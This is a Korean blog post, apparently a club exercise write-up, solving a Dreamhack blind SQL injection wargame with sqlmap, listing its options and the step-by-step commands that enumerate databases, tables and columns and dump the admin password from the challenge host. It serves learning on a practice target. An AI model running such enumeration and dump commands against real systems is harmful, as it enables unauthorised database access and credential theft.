보안/E-COPS

[1주차 - 실습 문제] SQLMap 실습

박박고은 2025. 3. 24. 23:26

https://dreamhack.io/wargame/challenges/411

 

blind sql injection advanced

Description Exercise: Blind SQL Injection Advanced에서 실습하는 문제입니다. 관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다. 문제 수정 내역 2023.07.20 Dockerfile 제공

dreamhack.io

 

SQLMap 쓰는 법

sqlmap 폴더 위치로 간 후 아래 명령어 실행을 통해 sqlmap을 실행할 수 있다.

python sqlmap.py

 

SQLMap 기본 옵션

-u : 테스트할 url을 지정

-v : 로그 상세 출력

-D "board" : 특정 데이터베이스를 지정. board 데이터베이스를 지정한다는 뜻

--tables : 지정한 데이터베이스의 테이블 목록을 조회

-T "member" : 특정 테이블을 지정. member 테이블을 지정한다는 뜻

--columns : 지정한 테이블의 컬럼 목록을 조회

--dump : 실제 원하는 값 확인

 

문제 풀이 과정

db 목록 확인

python sqlmap.py -u "http://host3.dreamhack.games:23570/?uid=111" --dbs

 

확인한 db에 들어가 table 확인

python sqlmap.py -u "http://host3.dreamhack.games:23570/?uid=111" -D "user_db" --tables

 

확인한 table에 들어가 column 확인

python sqlmap.py -u "http://host3.dreamhack.games:23570/?uid=111" -D "user_db" -T "users" --columns

 

확인한 column에 들어가 uid admin의 upw 확인

python sqlmap.py -u "http://host3.dreamhack.games:23570/?uid=111" -D "user_db" -T "users" -C upw --where="uid='admin'" --dump

 

📌 한글로 나와서 깨짐 --hex로 가져오기

python sqlmap.py -u "http://host3.dreamhack.games:23570/?uid=111" -D "user_db" -T "users" -C upw --where="uid='admin'" --dump --hex